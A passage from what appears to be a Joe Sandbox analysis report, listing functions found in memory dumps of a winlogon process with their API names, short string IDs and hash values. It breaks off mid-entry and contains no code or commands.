                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: FinalHandleNamePathlstrlen
                                            • String ID: \\?\
                                            • API String ID: 2719912262-4282027825
                                            • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction ID: e535c0649dfb5c656df934673802aa2881829a80634b4f76755b7f08d64bed47
                                            • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction Fuzzy Hash: 69F04466718E51A2E7608BE9F9887596761F748BC9F94C020DB4A46654DF3CC68DCB00
                                            Function 00000225DC6A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: FinalHandleNamePathlstrlen
                                            • String ID: \\?\
                                            • API String ID: 2719912262-4282027825
                                            • Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction ID: 2a81db31a951e5e259a4acc7b5a595b85a3b479c602b75ed73f30d03813019d1
                                            • Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
                                            • Instruction Fuzzy Hash: BBF06866304E51A2EB60CFE9F9C87597762F748B8AF94C020DB4946654DF3CC64DCB00
                                            Function 00000225DC643044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CombinePath
                                            • String ID: \\.\pipe\
                                            • API String ID: 3422762182-91387939
                                            • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction ID: 05bf48fb40d5b317a8235632c964cef6d02a25c8f7691d3038dd68194b884147
                                            • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction Fuzzy Hash: 51F08C28328FA4A2FA448FDBB90C1196260AB48FD2F18E170EF4A07B58DF3CC485C700
                                            Function 00000225DC64BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$mscoree.dll
                                            • API String ID: 4061214504-1276376045
                                            • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction ID: 44bd982de87b7b9a06009664450f2777bab72fc188efb7fa02744482d7f49e87
                                            • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction Fuzzy Hash: 72F09669329F14A1EB108FECE44C3596361EB89766F648259DB6A462F4CF3CC044C740
                                            Function 00000225DC6A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CombinePath
                                            • String ID: \\.\pipe\
                                            • API String ID: 3422762182-91387939
                                            • Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction ID: fb1c96070f1bbd8c52466b515c03c742fb3955bbc3562a61c2f5362b02f3ede6
                                            • Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
                                            • Instruction Fuzzy Hash: 5BF05828204FA4A2EA588FDBB9081197262AB48FC2F08E030EF4A47B18DF38C445C700
                                            Function 00000225DC6ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$mscoree.dll
                                            • API String ID: 4061214504-1276376045
                                            • Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction ID: 859cf1714d0438efb9fd229f799e05916821dabd80631214c70755d8405ab38f
                                            • Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
                                            • Instruction Fuzzy Hash: 21F09679311F15A1FB148BEDE84C3596361EB84767F548219CB6A452F4DF3CC444C740
                                            Function 00000225DC6A50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction ID: cc4e45ee1de0211bceb984575181e682b35c92b14fcfce5c930bbfc96d3dc94e
                                            • Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction Fuzzy Hash: EA02C836219F9496EB60CB99F49435AB7A0F3C5795F209015EB8E87BA9DF7CC444CB00
                                            Function 00000225DC645710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
                                            • Instruction ID: 8f9846ecf6cf7499faee6b5ce6658377365f055e4165f45403509503972279d5
                                            • Opcode Fuzzy Hash: 4678552974c2dc3df73a17a4dcf6fd2c3d7689486890f7c1069e8590a64c51b2
                                            • Instruction Fuzzy Hash: 6561CD3A51DF94D6E760CB99E44831AB7A0F3C8796F109165EA8E87BA8DB7CC544CF00
                                            Function 00000225DC6A5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction ID: c0f1102daedf8fd83df05dbad566c9dcb67f0f52cae9f12d02fc669b962d21e9
                                            • Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction Fuzzy Hash: DB61EE3A519F94D6E760CB99E54831AB7E0F388786F209115FA8E87BA8DB7CC554CF00
                                            Function 00000225DC654104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: a15945065d89435b6d58080b2ea34464beef53a1596a2d5ce657289fdf07ecc6
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: 5911733EA34E7131F67415ECD45D3751151EB783FAF38C6A4A976076D6DA34C841E200
                                            Function 00000225DC623504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 0f0cd1f3b4902091acada321e62a835e8ba03bea7c675b6eead67c7f9176ca24
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: 6B11C63AA60E3131FB6415ECE45D37991C86B58BB6F48C639A97F2E3D6CB34C881C200
                                            Function 00000225DC683504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 4770082600421d2f4bb53b6383fc8d4b46f38f5b83b98cacefa30fc3353db637
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: 4111EC3E6A4E3131FA54D5ECE44D37911906F59F76F48C638A976067DACA78C841C203
                                            Function 00000225DC6B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 790992d3fedfbb3f0c19deaeddb177f6f54104038671def6cf99952e65a916c8
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: 2711733EE14E7131F66415ECD45D3751243EB783BBF18C624AA7E076D6CA34C841E210
                                            Function 00000225DC61F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: _invalid_parameter_noinfo
                                            • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                            • API String ID: 3215553584-4202648911
                                            • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction ID: 944570b48e0c60bc5ad5e959f3b97a539a301ff4876b6c2567b65f1bc9dbc55e
                                            • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction Fuzzy Hash: 2961E27E606E6066FE69CBFCE55D32E66A0F785793F54C415EA0A037A4DB34C842C302
                                            Function 00000225DC67F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: _invalid_parameter_noinfo
                                            • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                            • API String ID: 3215553584-4202648911
                                            • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction ID: b809d82d10e30da49faebdcfad985b935ab92b62efaa54905c9af04f2a82b3da
                                            • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction Fuzzy Hash: 6761D63E614E60B2FA65DBFCD55CB2A26A0E785742F51CD15EA1A07FE4DB34C842C382
                                            Function 00000225DC64AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: CallEncodePointerTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3544855599-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 5ee5bc15fcc7ca4683ce8519a978933ac552fc7779cbca0cf07b2e2c35c6d78e
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 6561CF3B608F94AAEB20DFA9D04439D7BA1F348B8DF148255EF4A17B99DB38C085C700
                                            Function 00000225DC6AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: CallEncodePointerTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3544855599-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: aa70c4840d0660077c5495364ee98befc91b92371ab933d55f9a834b1db71008
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 4761BE3B600F949AEB20DFA9D04439D77A0F748B8DF248216EF4A53B99DB38D085CB00
                                            Function 00000225DC64AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: e2a4ec1541559836ceca0d34c116ae26037d4692d9dd8773577d8c71d6944edc
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: 9C51C37A10CBA0FAEB748F9A948835977A0F354B86F24C159FA5A47BD7CB38C451C700
                                            Function 00000225DC61A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 4352b4e7d2f757b2eeab07a41cb79b5cce5006a568909e68af21b5ba570d396d
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: 9B51C23A105BA0EAEF748F99944835877A0F355B97F28C215EB89C7BD6CB38C451C700
                                            Function 00000225DC67A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: d8bc5406c68cbc3a3f3e81927d6ca097891e5497fb3224580501911da265d3db
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: 7D51E83A104BA0DAEB748FA9944835C77A0F355B96F28E615FB5987FD6CB38D490CB00
                                            Function 00000225DC6AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 2e3fcafa7e63c7afecd5eb320568e29d6bc18ccae88d7ce5c4c248ffc38c6f0c
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: 9C51837A100BA0AAEB74CF99958835D77A0F758B86F34C117EA99C7BD6CB34D451CB00
                                            Function 00000225DC618405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: 8a2ee0853dea6fc810b70285cdad8afa924fb268fca63da5ab5c18953c58d14e
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: 9F51BF3A712A20AAEF94CF99E448B1937A5F358B9FF52C224DE0647788EB34CC41C704
                                            Function 00000225DC678405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: 8bc61f57c5687e7a86239f1075434ff38e81a80eea30d95d659fdd3eaf197c62
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: DD51BF3A711A20AAFB94CF69E448B193795F758B9FF51CA24DA0663BC8EB74CC41C704
                                            Function 00000225DC6183E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237826612.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc610000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: a13f22b0c5ddbfd73ffef1e451b0b481ee6602808d75d20c911345d57e3c4186
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: A731C03A602B60A6EB64DF5AE84871977A4F748BDFF16C214EE5B47784DB38C940C704
                                            Function 00000225DC6783E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238224914.00000225DC670000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc670000_winlogon.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: 7ede24912a818c19e80a806750f1858c6928fd0ae1f237999a321a790690d3dd
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: F731BF3A211B60E6EB54DF69E8487193BA4F748B9AF15CA14EE5A13BC8DB38CD40C704
                                            Function 00000225DC652058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: FileWrite$ConsoleErrorLastOutput
                                            • String ID:
                                            • API String ID: 2718003287-0
                                            • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction ID: bfa2cf39ed762a0c864f02a182d0b99d9a486c982741babc9b475573dd9f7606
                                            • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction Fuzzy Hash: F7D1F376724E90A9E712CFB9D44839C3BB1F754799F248216CF5E97B99DA34C406C340
                                            Function 00000225DC6B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
                                            • API ID: FileWrite$ConsoleErrorLastOutput
                                            • String ID:
                                            • API String ID: 2718003287-0
                                            • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction ID: 01741f095c584cdd00ba98e3aa790e67a4177efe8c0c1c6c5439ed656a32a405
                                            • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction Fuzzy Hash: F2D1FF76B14E90A9E712CFA9D44839C7BF2F75479AF108216CF6E97B99DA34C406C340
                                            Function 00000225DC6414A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Free
                                            • String ID:
                                            • API String ID: 3168794593-0
                                            • Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
                                            • Instruction ID: 6bfd24914fe268a9eaf32d670607eda920269b08af1813506c338134dac0ed3e
                                            • Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
                                            • Instruction Fuzzy Hash: E2115E7A524FA0E6E724DFEEA80816977A0FB89F86F148025DB4A53726DE34C451C740
                                            Function 00000225DC652980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3237984363.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc640000_winlogon.jbxd
                                            Similarity
                                            • API ID: ConsoleErrorLastMode
                                            • String ID:
                                            • API String ID: 953036326-0
                                            • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction ID: 6d7b5b403a3188d3b4841f9fb94707250acf1a7d2d8579f267c512fad794f412
                                            • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction Fuzzy Hash: 7391D67AB20E70A5F766DFAD94883AD3BA0F754B8AF24C109DE0A57795DB34C486C700
                                            Function 00000225DC6B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001E.00000002.3238457753.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_30_2_225dc6a0000_winlogon.jbxd
                                            Similarity
